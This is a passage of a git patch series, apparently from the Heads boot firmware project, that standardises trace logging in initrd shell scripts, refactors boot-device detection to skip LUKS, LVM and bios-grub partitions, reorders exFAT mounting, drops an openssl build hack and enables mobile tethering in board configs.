more cpio archives, optionally @@ -31,7 +31,7 @@ CPIO_ARGS=("$@") # Consume zero bytes, the first nonzero byte read (if any) is repeated on stdout consume_zeros() { - TRACE "Under unpack_initramfs.sh:consume_zeros" + TRACE_FUNC next_byte='00' while [ "$next_byte" = "00" ]; do # if we reach EOF, next_byte becomes empty (dd does not fail) @@ -44,13 +44,13 @@ consume_zeros() { } unpack_cpio() { - TRACE "Under unpack_initramfs.sh:unpack_cpio" + TRACE_FUNC (cd "$dest_dir"; cpio -i "${CPIO_ARGS[@]}" 2>/dev/null) } # unpack the first segment of an archive, then write the rest to another file unpack_first_segment() { - TRACE "Under unpack_initramfs.sh:unpack_first_segment" + TRACE_FUNC unpack_archive="$1" dest_dir="$2" rest_archive="$3" diff --git a/initrd/bin/unseal-hotp b/initrd/bin/unseal-hotp index d9f2ad081..031c6d278 100755 --- a/initrd/bin/unseal-hotp +++ b/initrd/bin/unseal-hotp @@ -8,7 +8,7 @@ HOTP_COUNTER="/boot/kexec_hotp_counter" mount_boot_or_die() { - TRACE "Under /bin/unseal-hotp:mount_boot_or_die" + TRACE_FUNC # Mount local disk if it is not already mounted if ! grep -q /boot /proc/mounts ; then mount -o ro /boot \ @@ -16,7 +16,7 @@ mount_boot_or_die() fi } -TRACE "Under /bin/unseal-hotp" +TRACE_FUNC # Store counter in file instead of TPM for now, as it conflicts with Heads # config TPM counter as TPM 1.2 can only increment one counter between reboots diff --git a/initrd/bin/unseal-totp b/initrd/bin/unseal-totp index 7a8dfaf37..b5ec14145 100755 --- a/initrd/bin/unseal-totp +++ b/initrd/bin/unseal-totp @@ -5,7 +5,7 @@ TOTP_SECRET="/tmp/secret/totp.key" -TRACE "Under /bin/unseal-totp" +TRACE_FUNC if [ "$CONFIG_TPM" = "y" ]; then tpmr unseal 4d47 0,1,2,3,4,7 312 "$TOTP_SECRET" || diff --git a/initrd/bin/usb-init b/initrd/bin/usb-init index ea1d72bda..06fbc1075 100755 --- a/initrd/bin/usb-init +++ b/initrd/bin/usb-init @@ -4,7 +4,7 @@ . /etc/functions . /tmp/config -TRACE "Under /bin/usb-init" +TRACE_FUNC if [ "$CONFIG_TPM" = "y" ]; then # Extend PCR4 as soon as possible diff --git a/initrd/bin/wget-measure.sh b/initrd/bin/wget-measure.sh index 604f83eb6..8e7e9e7bd 100755 --- a/initrd/bin/wget-measure.sh +++ b/initrd/bin/wget-measure.sh @@ -3,7 +3,7 @@ . /etc/functions die() { - TRACE "Under /bin/wget-measure.sh:die" + TRACE_FUNC echo >&2 "$@" exit 1 } diff --git a/initrd/etc/functions b/initrd/etc/functions index da732d9ef..496c10648 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -64,7 +64,7 @@ pcrs() { } confirm_totp() { - TRACE "Under /etc/functions:confirm_totp" + TRACE_FUNC prompt="$1" last_half=X unset totp_confirm @@ -103,7 +103,7 @@ confirm_totp() { } reseal_tpm_disk_decryption_key() { - TRACE "Under /etc/functions:reseal_tpm_disk_decryption_key" + TRACE_FUNC #For robustness, exit early if LUKS TPM Disk Unlock Key is prohibited in board configs if [ "$CONFIG_TPM_DISK_UNLOCK_KEY" == "n" ]; then DEBUG "LUKS TPM Disk Unlock Key is prohibited in board configs" @@ -140,7 +140,7 @@ reseal_tpm_disk_decryption_key() { # be detected. If USB storage was already enabled, no wait occurs, this would # have happened already when USB storage was enabled. enable_usb_storage() { - TRACE "Under /etc/functions:enable_usb_storage" + TRACE_FUNC if ! lsmod | grep -q usb_storage; then timeout=0 echo "Scanning for USB storage devices..." @@ -155,7 +155,7 @@ enable_usb_storage() { } list_usb_storage() { - TRACE "Under /etc/functions:list_usb_storage" + TRACE_FUNC # List all USB storage devices, including partitions unless we received argument stating we want drives only # The output is a list of device names, one per line. @@ -216,7 +216,7 @@ list_usb_storage() { # Tools should optionally accept a TPM password on the command line, since some flows need # it multiple times and only one prompt is ideal. prompt_tpm_owner_password() { - TRACE "Under /etc/functions:prompt_tpm_owner_password" + TRACE_FUNC if [ -s /tmp/secret/tpm_owner_password ]; then DEBUG "/tmp/secret/tpm_owner_password already cached in file. Reusing" @@ -238,7 +238,7 @@ prompt_tpm_owner_password() { # The password must be 1-32 characters and must be entered twice, # the script will loop until this is met. prompt_new_owner_password() { - TRACE "Under /etc/functions:prompt_new_owner_password" + TRACE_FUNC local tpm_owner_password2 tpm_owner_password=1 tpm_owner_password2=2 @@ -262,7 +262,7 @@ prompt_new_owner_password() { } check_tpm_counter() { - TRACE "Under /etc/functions:check_tpm_counter" + TRACE_FUNC LABEL=${2:-3135106223} tpm_password="$3" @@ -286,20 +286,20 @@ check_tpm_counter() { } read_tpm_counter() { - TRACE "Under /etc/functions:read_tpm_counter" + TRACE_FUNC tpmr counter_read -ix "$1" | tee "/tmp/counter-$1" || die "Counter read failed" } increment_tpm_counter() { - TRACE "Under /etc/functions:increment_tpm_counter" + TRACE_FUNC tpmr counter_increment -ix "$1" -pwdc '' | tee /tmp/counter-$1 || die "TPM counter increment failed for rollback prevention. Please reset the TPM" } check_config() { - TRACE "Under /etc/functions:check_config" + TRACE_FUNC if [ ! -d /tmp/kexec ]; then mkdir /tmp/kexec || die 'Failed to make kexec tmp dir' @@ -340,7 +340,7 @@ replace_rom_file() { } replace_config() { - TRACE "Under /etc/functions:replace_config" + TRACE_FUNC CONFIG_FILE=$1 CONFIG_OPTION=$2 NEW_SETTING=$3 @@ -373,7 +373,7 @@ secret_from_rom_hash() { } update_checksums() { - TRACE "Under /etc/functions:update_checksums" + TRACE_FUNC # ensure /boot mounted if ! grep -q /boot /proc/mounts; then mount -o ro /boot || @@ -403,7 +403,7 @@ update_checksums() { } print_tree() { - TRACE "Under /etc/functions:print_tree" + TRACE_FUNC find ./ ! -path './kexec*' -print0 | sort -z } @@ -471,7 +471,7 @@ escape_zero() { # due to https://bugs.busybox.net/show_bug.cgi?id=14226. Also, certain characters # may be intepreted by `whiptail`, `less` et al (e.g. \n, \b, ...). assert_signable() { - TRACE "Under /etc/functions:assert_signable" + TRACE_FUNC # ensure /boot mounted if ! grep -q /boot /proc/mounts; then mount -o ro /boot || die "Unable to mount /boot" @@ -490,7 +490,7 @@ assert_signable() { } verify_checksums() { - TRACE "Under /etc/functions:verify_checksums" + TRACE_FUNC local boot_dir="$1" local gui="${2:-y}" @@ -523,7 +523,7 @@ verify_checksums() { # detect and set /boot device # mount /boot if successful detect_boot_device() { - TRACE "Under /etc/functions:detect_boot_device" + TRACE_FUNC # unmount /boot to be safe cd / && umount /boot 2>/dev/null @@ -570,7 +570,7 @@ detect_boot_device() { } scan_boot_options() { - TRACE "Under /etc/functions:scan_boot_options" + TRACE_FUNC local bootdir config option_file bootdir="$1" config="$2" diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index 86e099164..67376ea2f 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -15,7 +15,7 @@ pause_automatic_boot() mount_usb() { - TRACE "under gui_functions:mount_usb" + TRACE_FUNC # Unmount any previous USB device if grep -q /media /proc/mounts ; then umount /media || die "Unable to unmount /media" @@ -80,7 +80,7 @@ display_block_device_size() { # No entries in list: Displays error and exits unsuccessfully file_selector() { - TRACE "under gui_functions:file_selector" + TRACE_FUNC local FILE_LIST MENU_MSG MENU_TITLE CHOICE_ARGS SHOW_SIZE OPTION_SIZE option_index @@ -132,7 +132,7 @@ file_selector() show_system_info() { - TRACE "Under /bin/gui-init:show_system_info" + TRACE_FUNC battery_charge="$(print_battery_charge)" battery_health="$(print_battery_health)" if [ -n $battery_charge -a -n $battery_health ];then diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 8f8e5ad72..7704620bb 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -16,7 +16,7 @@ list_luks_devices() { #Whiptail prompt asking user to select ratio of device to use for LUKS container between: 25, 50, 75 select_luks_container_size_percent() { - TRACE "Under /etc/luks-functions:select_luks_container_size_percent()" + TRACE_FUNC if [ -x /bin/whiptail ]; then #whiptail prompt asking user to select ratio of device to use for LUKS container between: 25, 50, 75 #whiptail returns the percentage of the device to use for LUKS container @@ -56,7 +56,7 @@ select_luks_container_size_percent() { # Size provisioning is done by percentage of the device interactive_prepare_thumb_drive() { - TRACE "Under /etc/luks-functions:interactive_prepare_thumb_drive()" + TRACE_FUNC #Refactoring: only one parameter needed to be prompted for: the passphrase for LUKS container if not coming from oem-provisioning #If no passphrase was provided, ask user to select passphrase for LUKS container # if no device provided as parameter, we will ask user to select device to partition @@ -188,7 +188,7 @@ interactive_prepare_thumb_drive() # $2 - percent of device allocated to LUKS [1-99] confirm_thumb_drive_format() { - TRACE "Under /etc/luks-functions:confirm_thumb_drive_format()" + TRACE_FUNC local DEVICE LUKS_PERCENTAGE DISK_SIZE_BYTES DISK_SIZE_DISPLAY LUKS_PERCENTAGE LUKS_SIZE_MB MSG DEVICE="$1" @@ -230,7 +230,7 @@ confirm_thumb_drive_format() # $3 - passphrase for LUKS container prepare_thumb_drive() { - TRACE "Under /etc/luks-functions:prepare_thumb_drive()" + TRACE_FUNC local DEVICE PERCENTAGE PASSPHRASE DISK_SIZE_BYTES PERCENTAGE_MB DEVICE="$1" @@ -267,7 +267,7 @@ prepare_thumb_drive() select_luks_container() { - TRACE "Under /etc/luks-functions:select_luks_container()" + TRACE_FUNC if [ -s /boot/kexec_key_devices.txt ]; then DEBUG "Reusing known good LUKS container device from /boot/kexec_key_devices.txt" DEBUG "LUKS container device: $(cut -d ' ' -f1 /boot/kexec_key_devices.txt)" @@ -295,7 +295,7 @@ select_luks_container() test_luks_current_disk_recovery_key_passphrase() { - TRACE "Under /etc/luks-functions:test_luks_current_disk_recovery_key_passphrase()" + TRACE_FUNC while :; do select_luks_container || return 1 if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then @@ -336,7 +336,7 @@ test_luks_current_disk_recovery_key_passphrase() } luks_reencrypt() { - TRACE "Under /etc/luks-functions:luks_reencrypt()" + TRACE_FUNC while :; do select_luks_container || return 1 #If the user just set a new LUKS Disk Recovery Key passphrase @@ -382,7 +382,7 @@ luks_reencrypt() { luks_change_passphrase() { - TRACE "Under /etc/luks-functions:luks_change_passphrase()" + TRACE_FUNC while :; do select_luks_container || return 1 #if actual or new LUKS Disk Recovery Key is not provisioned by oem-provisioning file diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index 3f04edc82..8545482b2 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -6,7 +6,7 @@ . /etc/functions -TRACE "Under insmod.sh" +TRACE_FUNC MODULE="$1"; shift diff --git a/targets/qemu.mk b/targets/qemu.mk index 930afa7b3..59286a3e1 100644 --- a/targets/qemu.mk +++ b/targets/qemu.mk @@ -88,7 +88,7 @@ run: $(TPMDIR)/.manufacture $(ROOT_DISK_IMG) $(MEMORY_SIZE_FILE) $(USB_FD_IMG) -qemu-system-x86_64 -drive file="$(ROOT_DISK_IMG)",if=virtio \ --machine q35,accel=kvm:tcg \ -rtc base=utc \ - -smp "$$(nproc)" \ + -smp 1 \ -vga std \ -m "$$(cat "$(MEMORY_SIZE_FILE)")" \ -serial stdio \ From 8233c6f44244e03f33efd791880aed05cb0f1a20 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 2 Feb 2024 13:24:34 -0500 Subject: [PATCH 011/619] init: Silence exFAT errors when mounting iso9660; reorder exfat last Since exFAT support was enabled, mounting an iso9660 filesystem prints spurious exFAT errors to the console. That is because busybox mount tries all filesystems in the order listed, and exfat precedes iso9660 (those are the last two in our config). Most filesystems are silent when used on the wrong type of filesystem, but exFAT logs errors, which appear on the console. Move exFAT after iso9660, so iso9660 filesystems won't show these errors. The errors will still appear if the filesystem is actually exFAT but cannot be mounted. There's no significant risk of misdetecting a remnant iso9660 superblock here either. Although an iso9660 superblock could fall in the unused space between the exFAT boot region and the FAT itself, mkfs.exfat does zero this space so it is unlikely such a remnant superblock would exist. Signed-off-by: Jonathon Hall --- initrd/init | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/initrd/init b/initrd/init index dee9256a3..44cde9fa9 100755 --- a/initrd/init +++ b/initrd/init @@ -49,6 +49,12 @@ fi # Load the date from the hardware clock, setting it in local time hwclock -l -s +# When mounting a filesystem, try exFAT last, since it logs errors if the +# filesystem is not exFAT, and the errors go to the console. Those errors are +# spurious when the medium is iso9660. By default in our config, the only +# filesystem after exFAT is iso9660, move exFAT last. +(grep -v '^\texfat$' /proc/filesystems && echo -e '\texfat') >/etc/filesystems + # Read the system configuration parameters . /etc/ash_functions . /etc/config From a6228b9843348beb09ac77cf066682e74253a3bd Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 2 Feb 2024 16:42:33 -0500 Subject: [PATCH 012/619] functions: Improve detect_boot_device to silence exFAT errors When testing a possible boot device, detect its partition type and skip grub, LUKS, and LVM partitions. These aren't mountable as /boot, this silences spurious exFAT errors. In detect_boot_device, skip testing CONFIG_BOOT_DEV a second time if it is found as a block device. This avoids doubling any errors shown from checking this device, no sense trying it twice. Refactor some logic to avoid duplication - extract device_has_partitions and use it in detect_boot_device, extract mount_possible_boot_device and use it instead of duplicating the logic. Move find_lvm_vg_name() to /etc/functions. Avoid mixing up similarly-named devices like 'nvme0n1'/'nvme0n10' or 'sda'/'sdaa' - it's probably unlikely that many devices will appear, but looking for partitions in '/sys/class/block//' instead of '/dev/' would avoid any collisions. Signed-off-by: Jonathon Hall --- initrd/bin/root-hashes-gui.sh | 22 ----- initrd/etc/functions | 172 +++++++++++++++++++++++++++------- 2 files changed, 138 insertions(+), 56 deletions(-) diff --git a/initrd/bin/root-hashes-gui.sh b/initrd/bin/root-hashes-gui.sh index 1e55018f1..38c020f53 100755 --- a/initrd/bin/root-hashes-gui.sh +++ b/initrd/bin/root-hashes-gui.sh @@ -159,28 +159,6 @@ check_root_checksums() { fi } -# Check if a device is an LVM2 PV, and if so print the VG name -find_lvm_vg_name() { - TRACE_FUNC - local DEVICE VG - DEVICE="$1" - - mkdir -p /tmp/root-hashes-gui - if ! lvm pvs "$DEVICE" >/tmp/root-hashes-gui/lvm_vg 2>/dev/null; then - # It's not an LVM PV - return 1 - fi - - VG="$(tail -n +2 /tmp/root-hashes-gui/lvm_vg | awk '{print $2}')" - if [ -z "$VG" ]; then - DEBUG "Could not find LVM2 VG from lvm pvs output:" - DEBUG "$(cat /tmp/root-hashes-gui/lvm_vg)" - return 1 - fi - - echo "$VG" -} - # Open an LVM volume group, then continue looking for more layers in the 'root' # logical volume. open_block_device_lvm() { diff --git a/initrd/etc/functions b/initrd/etc/functions index 496c10648..f5df01695 100755 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -154,6 +154,28 @@ enable_usb_storage() { fi } +device_has_partitions() { + local DEVICE="$1" + # fdisk normally says "doesn't contain a valid partition table" for + # devices that lack a partition table - except for FAT32. + # + # FAT32 devices have a volume boot record that looks enough like an MBR + # to satisfy fdisk. In that case, fdisk prints a partition table header + # but no partitions. + # + # This check covers that: [ $(fdisk -l "$b" | wc -l) -eq 5 ] + # In both cases the output is 5 lines: 3 about device info, 1 empty line + # and the 5th will be the table header or the invalid message. + local DISK_DATA=$(fdisk -l "$DEVICE") + if echo "$DISK_DATA" | grep -q "doesn't contain a valid partition table" || \ + [ "$(echo "$DISK_DATA" | wc -l)" -eq 5 ]; then + # No partition table + return 1 + fi + # There is a partition table + return 0 +} + list_usb_storage() { TRACE_FUNC # List all USB storage devices, including partitions unless we received argument stating we want drives only @@ -184,16 +206,7 @@ list_usb_storage() { # never usable directly, and this allows the "wait for # disks" loop in mount-usb to correctly wait for the # partitions. - # This check: [ $(fdisk -l "$b" | wc -l) -eq 5 ] - # covers the case of a device without partition table but - # formatted as fat32, which contains a sortof partition table. - # this causes fdisk to not print the invalid partition table - # message and instead it'll print an empty table with header. - # In both cases the output is 5 lines: 3 about device info, - # 1 empty line and the 5th will be the table header or the - # unvalid message. - DISK_DATA=$(fdisk -l "$b") - if echo "$DISK_DATA" | grep -q "doesn't contain a valid partition table" || [ $(echo "$DISK_DATA" | wc -l) -eq 5 ]; then + if ! device_has_partitions "$b"; then # No partition table, include this device DEBUG "USB storage device without partition table: $b" echo "$b" @@ -520,52 +533,143 @@ verify_checksums() { return $? } +# Check if a device is an LVM2 PV, and if so print the VG name +find_lvm_vg_name() { + TRACE_FUNC + local DEVICE VG + DEVICE="$1" + + mkdir -p /tmp/root-hashes-gui + if ! lvm pvs "$DEVICE" >/tmp/root-hashes-gui/lvm_vg 2>/dev/null; then + # It's not an LVM PV + return 1 + fi + + VG="$(tail -n +2 /tmp/root-hashes-gui/lvm_vg | awk '{print $2}')" + if [ -z "$VG" ]; then + DEBUG "Could not find LVM2 VG from lvm pvs output:" + DEBUG "$(cat /tmp/root-hashes-gui/lvm_vg)" + return 1 + fi + + echo "$VG" +} + +# If a block device is a partition, check if it is a bios-grub partition on a +# GPT-partitioned disk. +is_gpt_bios_grub() { + TRACE_FUNC + + local PART_DEV="$1" DEVICE NUMBER + + # Figure out the partitioned device containing this device (if there is + # one) from /sys/class/block. + local DEVICE_MATCHES=("/sys/class/block/"*"/$(basename "$PART_DEV")") + + DEVICE="$(echo "${DEVICE_MATCHES[0]}" | cut -d/ -f5)" + if [ "${#DEVICE_MATCHES[@]}" -ne 1 ] || [ "$DEVICE" = "*" ]; then + return 0 + fi + + # Extract the partition number + if ! [[ $(basename "$PART_DEV") =~ ([0-9]+)$ ]]; then + return 0 # Can't figure out the partition number + fi + + NUMBER="${BASH_REMATCH[1]}" + + # Now we know the device and partition number, get the type. This is + # specific to GPT disks, MBR disks are shown differently by fdisk. + TRACE "$PART_DEV is partition $NUMBER of $DEVICE" + if [ "$(fdisk -l "/dev/$DEVICE" | awk '$1 == '"$NUMBER"' {print $5}')" == grub ]; then + return 0 + fi + return 1 +} + +# Test if a block device could be used as /boot - we can mount it and it +# contains /boot/grub* files. (Here, the block device could be a partition or +# an unpartitioned device.) +# +# If the device is a partition, its type is also checked. Some common types +# that we definitely can't mount this way are excluded to silence spurious exFAT +# errors. +# +# Any existing /boot is unmounted. If the device is a reasonable boot device, +# it's left mounted on /boot. +mount_possible_boot_device() { + TRACE_FUNC + + local BOOT_DEV="$1" + local PARTITION_TYPE + + # Unmount anything on /boot. Ignore failure since there might not be + # anything. If there is something mounted and we cannot unmount it for + # some reason, mount will fail, which is handled. + umount /boot 2>/dev/null || true + + # Skip bios-grub partitions on GPT disks, LUKS partitions, and LVM PVs, + # we can't mount these as /boot. + if is_gpt_bios_grub "$BOOT_DEV" || cryptsetup isLuks "$BOOT_DEV" || + find_lvm_vg_name "$BOOT_DEV" >/dev/null; then + TRACE "$BOOT_DEV is not a mountable partition for /boot" + return 1 + fi + + TRACE "Try mounting $BOOT_DEV as /boot" + if mount -o ro "$BOOT_DEV" /boot >/dev/null 2>&1; then + if ls -d /boot/grub* >/dev/null 2>&1; then + # This device is a reasonable boot device + return 0 + fi + umount /boot || true + fi + + return 1 +} + # detect and set /boot device # mount /boot if successful detect_boot_device() { TRACE_FUNC + local devname # unmount /boot to be safe cd / && umount /boot 2>/dev/null # check $CONFIG_BOOT_DEV if set/valid - if [ -e "$CONFIG_BOOT_DEV" ]; then - if mount -o ro $CONFIG_BOOT_DEV /boot >/dev/null 2>&1; then - if ls -d /boot/grub* >/dev/null 2>&1; then - # CONFIG_BOOT_DEV is valid device and contains an installed OS - return 0 - fi - fi + if [ -e "$CONFIG_BOOT_DEV" ] && mount_possible_boot_device "$CONFIG_BOOT_DEV"; then + # CONFIG_BOOT_DEV is valid device and contains an installed OS + return 0 fi # generate list of possible boot devices fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist - # filter out extraneous options - >/tmp/boot_device_list + # Check each possible boot device for i in $(cat /tmp/disklist); do - # remove block device from list if numeric partitions exist, since not bootable - DEV_NUM_PARTITIONS=$(($(ls -1 $i* | wc -l) - 1)) - if [ ${DEV_NUM_PARTITIONS} -eq 0 ]; then - echo $i >>/tmp/boot_device_list + # If the device has partitions, check the partitions instead + if device_has_partitions "$i"; then + devname="$(basename "$i")" + partitions=("/sys/class/block/$devname/$devname"?*) else - ls $i* | tail -${DEV_NUM_PARTITIONS} >>/tmp/boot_device_list + partitions=("$i") # Use the device itself fi - done - - # iterate thru possible options and check for grub dir - for i in $(cat /tmp/boot_device_list); do - umount /boot 2>/dev/null - if mount -o ro $i /boot >/dev/null 2>&1; then - if ls -d /boot/grub* >/dev/null 2>&1; then - CONFIG_BOOT_DEV="$i" + for partition in "${partitions[@]}"; do + partition_dev=/dev/"$(basename "$partition")" + # No sense trying something we already tried above + if [ "$partition_dev" = "$CONFIG_BOOT_DEV" ]; then + continue + fi + # If this is a reasonable boot device, select it and finish + if mount_possible_boot_device "$partition_dev"; then + CONFIG_BOOT_DEV="$partition_dev" return 0 fi - fi + done done # no valid boot device found echo "Unable to locate /boot files on any mounted disk" - umount /boot 2>/dev/null return 1 } From 4af780864fcca6364afc8ec038787541193326f4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Fri, 16 Feb 2024 08:18:38 +0100 Subject: [PATCH 013/619] modules/openssl: remove libgcc path hack MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Passing the path to libgcc in LDFLAGS appears to no longer be needed. Removing this fixes compilation on a freshly cloned repo. Fixes #1507 Signed-off-by: Michał Kopeć --- modules/openssl | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/openssl b/modules/openssl index 0c4c93f46..a9cbdcf5e 100644 --- a/modules/openssl +++ b/modules/openssl @@ -7,15 +7,11 @@ openssl_tar := openssl-$(openssl_version).tar.gz openssl_url := https://www.openssl.org/source/$(openssl_tar) openssl_hash := 6c13d2bf38fdf31eac3ce2a347073673f5d63263398f1f69d0df4a41253e4b3e -# hack to provide path to libgcc -LIBGCC_DIR := $(dir $(shell $(heads_cc) -print-libgcc-file-name)) - # The only optional algorithm that's enabled is SM3. tpm2-tss uses SHA, AES, # and SM3. openssl_configure := \ $(CROSS_TOOLS) \ CFLAGS="-Os" \ - LDFLAGS="-L$(LIBGCC_DIR)" \ ./Configure \ --prefix="/" \ no-tests \ From 7cbcdd8ed7041132b78589588034208c944ac1dd Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 25 Nov 2023 14:50:32 -0500 Subject: [PATCH 014/619] Tethering refresh for CDC NCM/CDC EEM mobile phones (tested on GrapheneOS Pixel 6a, no more RNDIS support) - Add additional requirements to linux config - Add additional CONFIG_MOBILE_TETHERING=y to all maximized board configs - Fix issue under network-recovery-init to NTP sync against NTP server pool - Extend network-recovery-init to first try NTP sync against DNS server returned by DHCP answer - Remove network-recovery-init earlytty and tty0 redirection (console should be setuped properly by init in all cases) - If CONFIG_MOBILE_TETHERING=y added to board config and network-recovery-init called, wait to user input on instructions and warning 30 secs before proceeding (non-blocking) - Machines having STATIC_IP under board config won't benefit of autoatic NTP sync Since network-recovery-init can only be called from recovery shell now, and recovery shell can be guarded by GPG auth, this is PoC code to be used to complement TOTP being out of sync TODO(Future PR): - Refactor into functions and reuse into TOTP/HOTP being out of sync automatically. Signed-off-by: Thierry Laurion --- ...UNTESTED_p8z77-m_pro-tpm1-maximized.config | 1 + .../UNTESTED_t520-hotp-maximized.config | 1 + .../UNTESTED_t520-maximized.config | 1 + .../UNTESTED_t530-dgpu-hotp-maximized.config | 1 + .../UNTESTED_t530-dgpu-maximized.config | 1 + .../UNTESTED_t530-hotp-maximized.config | 1 + .../UNTESTED_t530-maximized.config | 1 + ...TED_w530-dgpu-K1000m-hotp-maximized.config | 1 + ...UNTESTED_w530-dgpu-K1000m-maximized.config | 1 + ...TED_w530-dgpu-K2000m-hotp-maximized.config | 1 + ...UNTESTED_w530-dgpu-K2000m-maximized.config | 1 + .../t420-hotp-maximized.config | 1 + boards/t420-maximized/t420-maximized.config | 1 + .../t430-hotp-maximized.config | 1 + boards/t430-maximized/t430-maximized.config | 1 + boards/t440p-maximized/t440p-maximized.config | 1 + .../w530-hotp-maximized.config | 1 + boards/w530-maximized/w530-maximized.config | 1 + boards/w541-maximized/w541-maximized.config | 1 + .../x220-hotp-maximized.config | 1 + boards/x220-maximized/x220-maximized.config | 1 + .../x230-hotp-maximized-fhd_edp.config | 1 + .../x230-hotp-maximized.config | 1 + .../x230-hotp-maximized_usb-kb.config | 40 +++++- .../x230-maximized-fhd_edp.config | 1 + boards/x230-maximized/x230-maximized.config | 1 + .../z220-cmt-maximized.config | 1 + config/linux-c216.config | 44 ++++++- config/linux-t440p.config | 44 ++++++- config/linux-w541.config | 44 ++++++- config/linux-x230-maximized.config | 44 ++++++- initrd/bin/network-init-recovery | 120 ++++++++++++------ modules/linux | 7 + 33 files changed, 321 insertions(+), 48 deletions(-) diff --git a/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config b/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config index 2ac199768..220513091 100644 --- a/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config +++ b/boards/UNTESTED_p8z77-m_pro-tpm1-maximized/UNTESTED_p8z77-m_pro-tpm1-maximized.config @@ -65,6 +65,7 @@ CONFIG_CAIRO=y CONFIG_FBWHIPTAIL=y CONFIG_LINUX_USB=y +CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init diff --git a/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config b/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config index cd3752942..dc4a3c671 100644 --- a/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config +++ b/boards/UNTESTED_t520-hotp-maximized/UNTESTED_t520-hotp-maximized.config @@ -14,6 +14,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config b/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config index f23da0aa4..2edc71393 100644 --- a/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config +++ b/boards/UNTESTED_t520-maximized/UNTESTED_t520-maximized.config @@ -14,6 +14,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config b/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config index 2bee0e424..c0d3df922 100644 --- a/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config +++ b/boards/UNTESTED_t530-dgpu-hotp-maximized/UNTESTED_t530-dgpu-hotp-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config b/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config index 9266ad803..420b455c3 100644 --- a/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config +++ b/boards/UNTESTED_t530-dgpu-maximized/UNTESTED_t530-dgpu-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config b/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config index 2a4cb5a46..d8a027c7a 100644 --- a/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config +++ b/boards/UNTESTED_t530-hotp-maximized/UNTESTED_t530-hotp-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config b/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config index 42eab8f3b..dc568db6d 100644 --- a/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config +++ b/boards/UNTESTED_t530-maximized/UNTESTED_t530-maximized.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y +CONFIG_MOBILE_TETHERING=y CONFIG_CRYPTSETUP2=y CONFIG_FLASHROM=y diff --git a/boards/UNTESTED_w530-dgpu-K1000m-hotp-maximized/UNTESTED_w530-dgpu-K1000m-hotp-maximized.config 